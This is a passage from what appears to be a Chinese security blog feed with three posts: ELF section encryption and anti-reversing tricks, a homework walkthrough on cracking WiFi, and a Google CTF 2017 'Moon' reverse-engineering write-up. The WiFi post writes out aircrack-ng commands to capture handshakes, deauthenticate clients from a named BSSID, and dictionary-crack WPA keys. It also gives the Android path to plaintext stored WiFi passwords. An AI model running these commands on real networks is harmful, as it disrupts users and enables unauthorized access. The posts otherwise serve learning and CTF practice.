    <content type="html"><![CDATA[<p>这几天也要尝试出题搞事。。于是尝试研究一下elf加密的原理吧</p><h2 id="more-elf段加密研究-elf文件格式"><span id="more"></span><br>ELF段加密研究 – ELF文件格式</h2><h2 id="背景">背景</h2><p>之前做ctf之类逆向的题目的时候，总是有一种题目是这样的:<br><img src="/2017/07/11/ELF%E6%AE%B5%E5%8A%A0%E5%AF%86%E7%A0%94%E7%A9%B6/elf00.png" alt=""><br>这个题目怪得很，没有main，但是实际上再运行的时候，会进入.init段，然后突然把某个段进行了异或，然后就会得到答案。我对这个过程很疑惑。。。所以打算好好研究一下这点</p><h2 id="节-section-的定义">节(Section)的定义</h2><p>一般一个正常的程序节中，会有.text(代码节),data(数据节),.bss(未定义数据节)等等。但是为了提供更加自由的定制化，gcc其实提供了给我们定制节的功能；</p><pre><code>__attribute__((section (&quot;.sectionname&quot;)))</code></pre><p>通过使用这个指令，能够将我们指定的一段内容放到一个我们自己定义的节中，如:</p><pre><code>static int __attribute__((section (&quot;.loading&quot;))) func(char* input)&#123;</code></pre><p>这段内容能够把我们的func放入到.loading节里面，我们编译之后用readelf查看：</p><pre><code>[Nr] Name              Type             Address           Offset   Size              EntSize          Flags  Link  Info  Align[13] .text             PROGBITS         00000000004005f0  000005f0 0000000000000622  0000000000000000  AX       0     0     16[14] .loading          PROGBITS         0000000000400c12  00000c12 0000000000000167  0000000000000000  AX       0     0     1</code></pre><p>从这可以看到，我们定义的.loading节被放到.text的后方。利用这个特点，我们就能够分离处指定的函数，然后可以对特定的节进行加密（本人主要还是担心如果直接对.text下手会不会出问题）</p><h3 id="与段-segment-的区别">与段（Segment）的区别</h3><p>注意一个特点，这个<strong>节（Section）<strong>和我们平时说的</strong>段（Segment）<strong>是不一样的。节是在程序编译之后存在的，而段是在程序载入主程序之后发生的。<br><img src="/2017/07/11/ELF%E6%AE%B5%E5%8A%A0%E5%AF%86%E7%A0%94%E7%A9%B6/elf01.png" alt=""><br>从上图可以看出，程序linking阶段（也就是编译后，链接时），elf文件是以节（section）划分，而程序开始执行后，是以段（Segment）来划分的。这里要进行区别。<br>之所以这么做，因为</strong>节</strong>中包含的很多帮助信息，比如说重定向的信息，链接的信息，以及调试信息等。这些信息在我们调试程序的时候会有用，但是在我们真正发布运行一个程序额度时候，是不需要都用上的，所以载入的时候，会选择性的抛弃一些数据。</p><p>操作系统会从程序的ph_table(program header table)中拷贝文件的段到虚拟地址段中，甚至利用这点创建内存共享资源</p><h2 id="elf文件格式">ELF文件格式</h2><p>扯到加密，我们这边就要考虑到使用Elf.h文件，也就是对ELF本身直接进行操作，所以这里记录一波学习过程。</p><pre><code>ElfN_Addr       Unsigned program address, uintN_tElfN_Off        Unsigned file offset, uintN_tElfN_Section    Unsigned section index, uint16_tElfN_Versym     Unsigned version symbol information, uint16_tElf_Byte        unsigned charElfN_Half       uint16_tElfN_Sword      int32_tElfN_Word       uint32_tElfN_Sxword     int64_tElfN_Xword      uint64_t</code></pre><p>上面是官方对之后结构体的定义文档（这里可以看出，大佬写的代码是用来看的），其中<strong>N</strong>的意思是说，32bit中N为32，64bit中为64。知道这个方便我们接下来的分析</p><p>ElfN_Ehdr:</p><pre><code>#define EI_NIDENT 16typedef struct &#123;    unsigned char e_ident[EI_NIDENT];    uint16_t      e_type;    uint16_t      e_machine;    uint32_t      e_version;    ElfN_Addr     e_entry;  // 函数虚拟地址入口    ElfN_Off      e_phoff;// program header 偏移量(可选，不一定存在)    ElfN_Off      e_shoff;// section header 偏移量    uint32_t      e_flags;    uint16_t      e_ehsize; // elf头部大小    uint16_t      e_phentsize;// 每个 program entries的大小    uint16_t      e_phnum;// program header 的数量    uint16_t      e_shentsize;// 每个 sections entries的大小    uint16_t      e_shnum;// sections header的数量    uint16_t      e_shstrndx;// 记录了sections header table 的地址&#125; ElfN_Ehdr;</code></pre><p>这个是对整个ELF本身的定义，我们这里关注section header,就是<strong>从elf entry结束开始经过e_shoff个字节能够到达的节</strong>。同时，这个e_shentsize大小就是section header entry 的大小也就是说，我们从读入的位置开始移动e_shdoff + e_shentsize*e_shstrndx就能够到达【记录有sections的strndx】。通过这个段我们能够快速的定位到我们需要的段上，代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">elf = (Elf64_Ehdr*)buf;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">&quot;\ne_phoff is %ld\ne_shoff is %ld\n&quot;</span>, elf-&gt;e_phoff, elf-&gt;e_shoff);</span><br><span class="line">   file_ptr = (<span class="type">void</span>*)buf;</span><br><span class="line"></span><br><span class="line">   shdr = (Elf64_Shdr*)(buf + elf-&gt;e_shoff );</span><br><span class="line">   shdr += elf-&gt;e_shstrndx;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">if</span>((shstr = (<span class="type">char</span> *) <span class="built_in">malloc</span>(shdr-&gt;sh_size)) == <span class="literal">NULL</span>)&#123;<span class="comment">//开辟内存区域，这个用于保存shstrtab的字符串池  </span></span><br><span class="line">     <span class="built_in">puts</span>(<span class="string">&quot;Malloc space for section string table failed&quot;</span>);</span><br><span class="line">     <span class="keyword">goto</span> _error;</span><br><span class="line">   &#125;</span><br><span class="line">    </span><br><span class="line">   file_ptr = (<span class="type">void</span>*)buf + shdr-&gt;sh_offset;</span><br><span class="line">   <span class="built_in">memcpy</span>(shstr, file_ptr, shdr-&gt;sh_size);</span><br><span class="line">   <span class="type">int</span> sec_num = elf-&gt;e_shnum;</span><br><span class="line"></span><br><span class="line">   shdr = (Elf64_Shdr*)(buf + elf-&gt;e_shoff);</span><br><span class="line"></span><br><span class="line">   <span class="comment">// then, to find the sections that we need to now</span></span><br><span class="line">   <span class="type">int</span>  dst_sec = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; sec_num; ++i)</span><br><span class="line">   &#123;</span><br><span class="line">       <span class="keyword">if</span>(<span class="built_in">strcmp</span>(&amp;shstr[shdr[i].sh_name], target_section) == <span class="number">0</span>)&#123;</span><br><span class="line">           <span class="built_in">printf</span>(<span class="string">&quot;find sec: %s\n&quot;</span>, &amp;shstr[shdr[i].sh_name]);</span><br><span class="line">           dst_sec = i;</span><br><span class="line">           <span class="keyword">break</span>;</span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>但是。。。得到了段之后要怎么处理呢。。。这里就暂时不知道了。。</p><p>（对于混淆的问题，后来暂时用花指令处理掉了)</p><pre><code>__asm__ __volatile__(&quot;lea label, %rax\t\n&quot;\&quot;push %rax\t\n&quot;\&quot;ret\t\n&quot;\&quot;label:&quot;);</code></pre><p>为了防止IDA的检测，编译的时候选择了一下： -fvisibility=hidden 还strip了一下符号表:</p><pre><code>strip file</code></pre><p>嗯。。。暂时是有一个防护措施了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这几天也要尝试出题搞事。。于是尝试研究一下elf加密的原理吧&lt;/p&gt;
&lt;h2 id=&quot;more-elf段加密研究-elf文件格式&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="linux" scheme="https://showlinkroom.me/tags/linux/"/>
    
    <category term="elf" scheme="https://showlinkroom.me/tags/elf/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业7-wifi蹭网与防护</title>
    <link href="https://showlinkroom.me/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/"/>
    <id>https://showlinkroom.me/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/</id>
    <published>2017-07-03T03:08:21.000Z</published>
    <updated>2020-07-16T13:31:30.442Z</updated>
    
    <content type="html"><![CDATA[<p>大佬同学他们的网安作业都很全面啊，跟着一起学学习一下</p><h2 id="more-网络安全大作业7-wifi蹭网与防护"><span id="more"></span><br>网络安全大作业7-wifi蹭网与防护</h2><h2 id="1-在手机上-会保留搜索到的wifi信息-请给出所保留wifi的ssid-密码的文件夹及文件具体路径-内容-请找出并给出截图">1.在手机上，会保留搜索到的wifi信息。请给出所保留wifi的SSID、密码的文件夹及文件具体路径、内容，请找出并给出截图。</h2><p>这个题目比较容易，我们这里记录一下操作就好了。<br>从root explorer中，进入data/misc/wifi里面，然后找到wpa_supplicant.conf,里面这个内容就保存了和wifi的相关内容，甚至明文存放了用户名和密码。。。:<br><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi00.jpg" alt=""></p><h2 id="2-手机wlan发现有wifi-但连接时需要密码-无密码连接那种不在本实验范围-如何破解wifi从而实现蹭网？">2. 手机WLAN发现有wifi，但连接时需要密码（无密码连接那种不在本实验范围）。如何破解wifi从而实现蹭网？</h2><p>我们这里的原理打算使用PIN码的功能</p><h3 id="1-直接在手机上利用工具破解">（1）直接在手机上利用工具破解。</h3><p>这个我们可以上网查找一下。找到了一个PIN码暴力破解的工具(然而没什么卵用。。)这里给一个截图:<br><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi10.jpg" alt=""><br>这个软件在一定时间没有收到回复就会出现这个界面。。。好吧其实就是没有破解成功。。</p><h3 id="2-在pc上破解-让有无线网卡的pc也能蹭网">（2）在PC上破解，让有无线网卡的PC也能蹭网。</h3><p>这里我们使用kali的方式，首先我们需要了解一下pin码的原理。pin码全称就是Personal Identification Number，就是SIM卡的个人识别密码。为了防止别人盗用SIM而使用的身份验证的卡。支持<strong>WPS</strong>的路由器会记忆当前链接wifi 的用户，然后当验证完成后，就会将密码以明文的形式发送到手机上。我们的攻击方法，就通过爆破这个pin码进行猜测。这个pin码的验证是先前四位再后四位，这就让爆破速度变得更快。</p><p>然后我们试了很多次，发现现在很多路由器根本就不支持WPS功能。。。于是到头来还是暴力破解。。。<br>首先我们在kali里面输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">airmon-ng</span><br></pre></td></tr></table></figure><p><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi1.png" alt=""><br>这里可以看到支持监控模式的无线网卡，然后打开该网卡的监控模式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">airmon-ng start 网卡</span><br></pre></td></tr></table></figure><p>然后我们检查wifi网络，看看周围有没有符合要求的数据包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">airodump-ng wlan0mon（网卡）</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi3.png" alt=""><br>找到了我们想要破解的wifi（Alfred）后，我们就开始使用指定的Channel进行扫描，尝试抓取握手包。这个握手包中会包含有wifi的密码。这个握手包会在用户连上路由器和断开的时候都会发出，使用指令:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8（BSSID） -w ~/save.txt 网卡</span><br></pre></td></tr></table></figure><p><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi2.png" alt=""><br>但是由于我们可能等待很久都没有人企图去链接这个wifi，于是我们可以使用一个工具:aireplay-ng,这个可以强制用户断开wifi连接；原理是，给连接到wifi的一个设备发送一个deauth（反认证）包，让那个设备断开wifi，随后它自然会再次连接wifi。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aireplay-ng -0 2 -a 目标mac地址 -c 某个客户端的mac地址 wlan0mon（网卡）</span><br></pre></td></tr></table></figure><ul><li>-0表示发起deauthentication攻击</li><li>-a指定无线路由器BSSID</li><li>-c指定强制断开的设备<br><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi10.png" alt=""><br>如果出现了右上角那个handshake的话，我们就视为是正确的抓到了握手包。这之后我们就不需要继续监听了，可以将无线网卡关掉了</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">airmon-ng stop wlan0mon</span><br></pre></td></tr></table></figure><p>最后我们进行wifi破解</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aircrack-ng -a2 -b C8:3A:35:30:3E:C8（目标mac地址） -w ~/save.txt ~/*.cap</span><br></pre></td></tr></table></figure><ul><li>-a2代表WPA的握手包</li><li>-b指定要破解的wifi BSSID。</li><li>-w指定字典文件</li><li>最后是抓取的包</li></ul><p>由于我们是帮忙做作业来着。。。直接把真是密码加入了字典，出了答案:<br><img src="/2017/07/03/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A7-wifi%E8%B9%AD%E7%BD%91%E4%B8%8E%E9%98%B2%E6%8A%A4/wifi9.png" alt=""></p><h2 id="遇到的那些坑">遇到的那些坑</h2><p>首先是kali装了半天。。。问题在于我的kali有点问题，没有装上无线网卡的驱动，于是直接上网下了一个wireless-compat的驱动，但是后来经同学指出，我这个虚拟机上根本就没有无线网卡啊。。。。怎么可能装的上去呢，最后就拿同学的来完成了任务。</p><p>第二个就是，这个原理其实是【握手包中有加密后的wps2密码，如果有人成功连接上了wifi的话，我们通过猜测密码的方式进行比对】。也就是说，如果【发送握手包的人也不知道密码是什么的话，那么这个暴力破解的方式其实是无效的】。。。。也就是说，不能瞎几把抓包。。。</p><p>参考文章：<br><a href="http://topspeedsnail.com/kali-linux-crack-wifi-wpa/">http://topspeedsnail.com/kali-linux-crack-wifi-wpa/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;大佬同学他们的网安作业都很全面啊，跟着一起学学习一下&lt;/p&gt;
&lt;h2 id=&quot;more-网络安全大作业7-wifi蹭网与防护&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="Wifi" scheme="https://showlinkroom.me/tags/Wifi/"/>
    
  </entry>
  
  <entry>
    <title>GoogleCTF 2017</title>
    <link href="https://showlinkroom.me/2017/07/02/Google-CTF/"/>
    <id>https://showlinkroom.me/2017/07/02/Google-CTF/</id>
    <published>2017-07-02T13:53:21.000Z</published>
    <updated>2020-07-16T13:31:30.383Z</updated>
    
    <content type="html"><![CDATA[<p>Google CTF 真的难。。。拼了老命也才能勉强比赛完后做了一题而且（沉迷reverse的第二弹。。。。）</p><h2 id="more-google-ctf-moon"><span id="more"></span><br>Google CTF – Moon</h2><p>首先运行，发现是一个exe界面，而且长的很像游戏:<br><img src="/2017/07/02/Google-CTF/moon00.png" alt=""><br>然后看到下面的SDL，明白了这是一个用SDL引擎写的游戏。。我们用ida打开以后，定位到main函数下：<br><img src="/2017/07/02/Google-CTF/moon01.png" alt=""><br>这里关注一个函数:</p><pre><code>SDL_PollEvent</code></pre><p>这个函数是SDL中常常用于事件分发的函数，我们输入字符串将会在这里被卡住。根据MFC逆向的经验，如果真的存在flag的比较过程的话，那么关于键盘中数据读入的过程很可能会包含我们的flag匹配。于是这里我们用x86-64进行调试，首先定位到我们可能发生字符串读入的函数:<br><img src="/2017/07/02/Google-CTF/moon02.png" alt=""><br>经过测试，这段内容是在我们输入了字符串之后会卡住，所以可以认为这个地方可能是处理字符串的内容，我们直接跟进去看:<br><img src="/2017/07/02/Google-CTF/moon03.png" alt=""><br>看起来是给指定位置读取字符串而已。于是我们尝试动态调试跟踪一下:<br><img src="/2017/07/02/Google-CTF/moon04.png" alt=""><br>这段给了我们一些基本的信息:</p><ul><li>4ca080这个全局变量的位置很关键，此处存放了存放ascii的位置</li><li>4ca088处存放的是当前读入了多少个字符串</li><li>4ca090处存放了当前读入的字符串的ascii</li></ul><p>然后再反复测试中发现，当读入八个字符串之后，存放在原先地址的前面的8个字符串就会被抹去，只剩下后面的八个字符串:<br><img src="/2017/07/02/Google-CTF/moon05.png" alt=""><br>但是我们会发现，长度依然是在计算的。同时，我们输入的字符串的来到了另一个地址<br><img src="/2017/07/02/Google-CTF/moon06.png" alt=""><br>同时我们发现，我们最多能够输入的字符串数量为32，正好符合一个判断语句;<br><img src="/2017/07/02/Google-CTF/moon07.png" alt=""><br>这段逻辑应该就和这个加密密切相关了…<br>我们进入这个函数，发现一开始调用了</p><pre><code>glUseProgram(program)</code></pre><p>这个做过开发都会知道，是使用我们制定的着色器函数的意思。这里指定的着色器函数内容如下:<br><img src="/2017/07/02/Google-CTF/moon08.png" alt=""><br>紧接着调用了这个函数:</p><pre><code>GLboolean glIsBuffer(GLuint buffer);//判断是否是缓冲区对象</code></pre><p>同样的，判断了指定位置上(还是我们的6df1000)是否为缓冲区。缓冲区是用来存放顶点信息的。<br>之后就是比较常见的数据绑定，接下来有一个有意思的函数:</p><pre><code>glMapBuffer</code></pre><p>glMapBuffer用来将一个缓冲区对象中的数据映射为客户端中的地址空间。这段的意思就是我们能够取得此时的顶点信息（也有可能是进行写入操作），这里显然和我们将要处理的数据很有关系:</p><pre><code>void *glMapBuffer(      GLenum target,    GLenum access);target用于指定缓冲区的类型，而access指定这段缓冲内容是否可读可写。</code></pre><p>之后会开始往我们得到的缓冲区地址+0x200中写入数据:<br><img src="/2017/07/02/Google-CTF/moon09.png" alt=""><br>可以看到，这里是以一个int的长度写入的数据。之后我们会来到一个充满了xmm0的位置，里面同样的会将缓冲区地址中写入数据:<br><img src="/2017/07/02/Google-CTF/moon10.png" alt=""><br>最后我们会释放掉这部分缓冲区的指针:<br><img src="/2017/07/02/Google-CTF/moon11.png" alt=""><br>然后我们会开始调用一个神奇的函数:</p><pre><code>glDispatchCompute()</code></pre><p>函数会把工作组发送到计算管线上，其原型如下：</p><pre><code>void glDispatchCompute(GLuint num_groups_x, GLuint num_groups_y, GLuint num_groups_z); </code></pre><p>这段内容会将会开始在xyz三个维度上进行工作计算。计算的内容就是我们之前读入的着色器。程序在这里分别传入了8,8,1；</p><h2 id="第二天早上">第二天早上</h2><p>今天早上测试的时候逻辑完全不一样了额。。。。首先我们反复的执行了这个函数:<br><img src="/2017/07/02/Google-CTF/moon12.png" alt=""><br>然后我们跟踪进去，发现有一个函数不断的产生新的字符串:<br><img src="/2017/07/02/Google-CTF/moon13.png" alt=""><br>于是想到，接下来的目的主要有两个:</p><ol><li><p>搞清楚下面这个函数的参数意义</p><p>generate_string((__int64)&amp;gen_str, (__int64)&quot;%.8x&quot;, v19, v18);</p></li><li><p>找到产生的字符串对之后产生了什么影响.<br>由于这里错过了第一个内容，所以我们优先跟踪我们产生的字符串去了哪里:<br><img src="/2017/07/02/Google-CTF/moon14.png" alt=""><br>发现不久之后，就对这个参数进行了减去0x1010101的处理，然后将其自身取反之后and 0x80808080，如果有做过相关练习的话，会知道这一段其实是在测量字符串的长度。<br>然后我们会传入我们之前产生过的字符串的地址指针以及这次产生的字符出，以及长度。<br><img src="/2017/07/02/Google-CTF/moon15.png" alt=""><br>同时，从这个地方我们能够看出此处存在一个结构体：<br><img src="/2017/07/02/Google-CTF/moon16.png" alt=""></p></li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>&#123;</span></span><br><span class="line"><span class="type">char</span>* point;  <span class="comment">// 指向存放字符串的地方</span></span><br><span class="line"><span class="type">int</span> length;   <span class="comment">// 字符串长度</span></span><br><span class="line"><span class="type">char</span> str[<span class="number">8</span>];  <span class="comment">// 字符串本身</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后来发现，这个玩意儿没那么简单。。。我们可以看到循环的条件:<br><img src="/2017/07/02/Google-CTF/moon17.png" alt=""><br>起始地址如上，然后我们的终点是：<br><img src="/2017/07/02/Google-CTF/moon18.png" alt=""><br>这就不好处理了。。。如果我们完全跟踪的话，怕是要到地老天荒。。。所以我们这里直接跳过看看。<br>不过为了实现之前的目的1，我们决定跟如generate看看发生了什么,这里首先记忆一下，我们输入的字符串内容存在这里:<br><img src="/2017/07/02/Google-CTF/moon20.png" alt=""><br>总的来说，就是一个随机产生字符串的过程。。<br>然后我们完成这段内容复制之后，发现原先存储字符串的地址变成了这个:<br><img src="/2017/07/02/Google-CTF/moon21.png" alt=""><br>估计是原先地址不够大的原因。然后我们继续走:<br><img src="/2017/07/02/Google-CTF/moon22.png" alt=""><br>这段内容将往ds：4ca060中存放的地址中存放的字符串与我们产生的字符串本身进行比较。字符串内容为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">30c7ead97107775969be4ba00cf5578f1048ab1375113631dbb6871dbe35162b1c62e982eb6a7512f3274743fb2e55c818912779ef7a34169a838666ff3994bb4d3c6e14ba2d732f14414f2c1cb5d3844935aebbbe3fb206343a004e18a092daba02e3c0969871548ed2c372eb68d1af41152cb3b61f300e3c1a8246108010d282e16df8ae7bff6cb6314d4ad38b5f9779ef23208efe3e1b699700429eae1fa93c036e5dcbe87d32be1ecfac2452ddfdc704a00ea24fbc2161b7824a968e9da1db756712be3e7b3d3420c8f33c37dba42072a941d799ba2eebbf86191cb59aa49a80ebe0b61a79741888cb62341259f62848aad44df2b809383e09437928980f</span><br></pre></td></tr></table></figure><p><img src="/2017/07/02/Google-CTF/moon23.png" alt=""><br>在完成了比较之后，会将之前的空间释放掉:<br><img src="/2017/07/02/Google-CTF/moon24.png" alt=""><br>之后就回到开始，开始处理输入字符串。</p><p>总的流程下来，算是找到了判断逻辑:<br><img src="/2017/07/02/Google-CTF/moon25.png" alt=""><br>这段中，如果right__or_not = 2的时候，屏幕上会绘制GOOD，否则的话绘制NOPE.那么我们返回来看这个判断条件，发现还是和之前的加密算法密切相关的。。。不过也算好，终于也是找到了判断逻辑了。。。</p><p>于是接下来开始分析逻辑：首先找到我们输入字符串的存储位置:<br><img src="/2017/07/02/Google-CTF/moon26.png" alt=""><br>然后继续深入，知道这段内容:<br><img src="/2017/07/02/Google-CTF/moon27.png" alt=""><br>这段内容关键内容即为r9寄存器中的内容，这个内容直接影响了后面的数据的变化，那么这个数据<br><img src="/2017/07/02/Google-CTF/moon28.png" alt=""><br>测试之后得到，这个位置的rdx中的数据终会转换成字符串存储在内存中。于是现在反向查找数字的产生位置:<br><img src="/2017/07/02/Google-CTF/moon30.png" alt=""><br>可以发现，后面的处理不过是将这段内容进行了字符串转换存储罢了。也就是说，关键还是这段内容是怎么产生的。</p><p>然后就能够回到昨晚那段内容了。。。接着分析 ：</p><pre><code>glClipControl</code></pre><p>接下来是这个函数，这个用的比较少啊，是用来控制裁剪坐标系的。感觉应该和我们的输入没什么关系才对。。<br>发现在这个函数之后，会发生将所有mmap其实地址中的数据+1的事情:<br><img src="/2017/07/02/Google-CTF/moon31.png" alt=""><br>原因有点不清楚。。然后调用了下列函数:</p><pre><code>glMemoryBarrierByRegion</code></pre><p>该函数会定义一个<code>defines a barrier ordering memory transactions</code>,我这里理解就是顺序内存交换的障碍。。。不知道用来做啥的。。<br>后面能够开到，再次申请了空间:<br><img src="/2017/07/02/Google-CTF/moon32.png" alt=""><br>而且显然，由于我们之前把这段内容释放掉了，所以是利用了我们之前的空间。<br>关键是这里用了一个函数我之前没用过。。。也没怎么听过。。。只能靠找规律了。。。。<br>输入数据:<br>12345678901234567890123456789014<br><img src="/2017/07/02/Google-CTF/moon33.png" alt=""><br>12345678901234567890123456789015<br><img src="/2017/07/02/Google-CTF/moon34.png" alt=""><br>可以发现，最后一个数字会影响<strong>每一行的数字</strong>，使得每两行中的同一列发生相同的变化规律。<br>这样做不行。。。找不到本质。。。。然后我回头问了一下同学，发现其实是</p><pre><code>glClientWaitSync</code></pre><p>这个函数在起作用，其作用就是【让同步对象执行】，然后我们看到函数:</p><pre><code>glFenceSync</code></pre><p>这个则是创建一个同步对象:<br><img src="/2017/07/02/Google-CTF/moon35.png" alt=""></p><h2 id="隔了几天之后">隔了几天之后</h2><p>我为什么放弃了。。。明明差一点就找到了啊啊啊啊啊<br><img src="/2017/07/02/Google-CTF/moon36.png" alt=""><br>就在gl_init里面。。。我还自称做过OpenGL开发。。。这点东西都忘了。。。。</p><pre><code>glCreateProgram</code></pre><p>这个函数会创建一个着色器对象，然后成功之后,一般就会调用函数就是:</p><pre><code>glCreateShader</code></pre><p>这段就是传入着色器了啊啊啊！！！我之前的思路也是这么写的啊啊啊！！！为什么放弃了！！！</p><p>最后可以找到非常复杂的加密逻辑：</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#version 430</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">in</span> <span class="type">vec3</span> vert_xyz;</span><br><span class="line"><span class="keyword">in</span> <span class="type">vec2</span> vert_uv;</span><br><span class="line"><span class="keyword">out</span> <span class="type">vec2</span> frag_uv;</span><br><span class="line"><span class="type">void</span> main() &#123;</span><br><span class="line">  frag_uv = vert_uv;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Rescale the scene so it&#x27;s in pixels.</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">gl_Position</span> = <span class="type">vec4</span>(</span><br><span class="line">      (vert_xyz.x / <span class="number">1280.0</span>) * <span class="number">2.0</span> - <span class="number">1.0</span>,</span><br><span class="line">      -((vert_xyz.y / <span class="number">720.0</span>) * <span class="number">2.0</span> - <span class="number">1.0</span>),</span><br><span class="line">      vert_xyz.z / <span class="number">1024.0</span>,</span><br><span class="line">      <span class="number">1.0</span>\r\n  